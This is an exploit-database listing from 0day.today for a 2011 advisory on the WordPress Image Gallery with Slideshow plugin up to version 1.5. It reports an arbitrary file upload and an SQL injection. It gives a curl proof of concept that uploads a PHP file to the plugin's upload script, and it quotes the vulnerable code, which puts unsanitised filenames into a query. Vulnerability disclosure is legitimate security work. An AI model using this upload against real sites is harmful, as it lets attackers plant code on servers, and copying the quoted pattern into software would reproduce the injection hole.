[ authorization ] [ registration ] [ restore account ]
Contact us
You can contact us by:
0day Today Exploits Market and 0day Exploits Database

Wordpress Image Gallery with Slideshow plugin <= 1.5 Vulnerabilities

Author
Hrvoje Spoljar
Risk
[
Security Risk Unsored
]
0day-ID
0day-ID-16804
Category
web applications
Date add
30-08-2011
Platform
php
Title: Wordpress image-gallery-with-slideshow plugin <= 1.5 Arbitrary file
upload / SQL injection
Version:1.5
Date: 30-8-2011
Author: Hrvoje Spoljar [ hrvoje.spoljar(at)gmail.com ]
Software link:
http://wordpress.org/extend/plugins/image-gallery-with-slideshow/
 
PoC:
curl -F "uploadfile=@mycode.php"
http://domain.tld/wp-content/plugins/image-gallery-with-slideshow/upload-file.php
 
File(s):upload-file.php
Code:
$new_image =time()."_".$_FILES['uploadfile']['name'];
$original_image = $_FILES['uploadfile']['name'];
...
$value_org = move_uploaded_file($_FILES['uploadfile']['tmp_name'],
$file_original);
$insert_query = "INSERT INTO `".$table_prefix."combo_image`
VALUES('','0','".$new_image."','".$original_image."','','','',NOW())";



#  0day.today [2024-11-15]  #